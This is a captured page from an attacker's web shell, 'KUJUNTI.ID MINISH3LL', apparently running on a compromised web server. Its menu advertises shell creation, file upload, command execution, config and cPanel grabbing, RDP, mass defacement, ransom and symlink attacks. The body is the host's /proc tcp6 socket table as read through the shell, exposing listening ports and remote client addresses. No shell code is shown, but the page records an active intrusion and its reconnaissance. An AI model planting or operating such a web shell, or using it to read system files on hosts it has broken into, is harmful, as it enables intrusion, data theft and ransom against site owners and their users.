KUJUNTI.ID MINISH3LL
Path : /proc/690422/task/690422/net/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/690422/task/690422/net/tcp6


  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 67275268 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 6433 1 0000000000000000 100 0 0 10 0
   2: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:D76C 06 00000000:00000000 03:00000339 00000000     0        0 0 3 0000000000000000
   3: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:2086 06 00000000:00000000 03:00000822 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000064A444AC:26D6 06 00000000:00000000 03:00000AD8 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:F629 01 00000000:00000000 02:000AF6E5 00000000    33        0 68587803 4 0000000000000000 44 4 1 15 -1
   6: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:A441 06 00000000:00000000 03:00001268 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000051D046AC:35A8 06 00000000:00000000 03:00000AD9 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000064A444AC:26D3 06 00000000:00000000 03:00000AD8 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000CA9346AC:3655 06 00000000:00000000 03:00001692 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00004BB045AC:34EB 06 00000000:00000000 03:00001687 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:EA3E 06 00000000:00000000 03:000009B2 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:0F1A 06 00000000:00000000 03:000004FB 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000C99346AC:350B 06 00000000:00000000 03:00001692 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000C87C47AC:3136 06 00000000:00000000 03:00001691 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00004B6C9EA2:2C2A 06 00000000:00000000 03:00000AD8 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:793E 06 00000000:00000000 03:00001368 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF0000F85147AC:2B45 06 00000000:00000000 03:00000AD8 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:C28D 06 00000000:00000000 03:000004E0 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:5F4E 01 0000077F:00000000 01:00000023 00000000    33        0 68587800 3 0000000000000000 44 4 1 24 -1
  20: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:F26B 06 00000000:00000000 03:00000DE9 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:4C8A 06 00000000:00000000 03:00001706 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF00006FD849D8:CF0A 01 0000086D:00000000 01:00000018 00000000    33        0 68587623 3 0000000000000000 43 4 25 10 -1
  23: 0000000000000000FFFF000082ACE8A5:0050 0000000000000000FFFF000030A545AC:2406 06 00000000:00000000 03:00001692 00000000     0        0 0 3 0000000000000000

© KUJUNTI.ID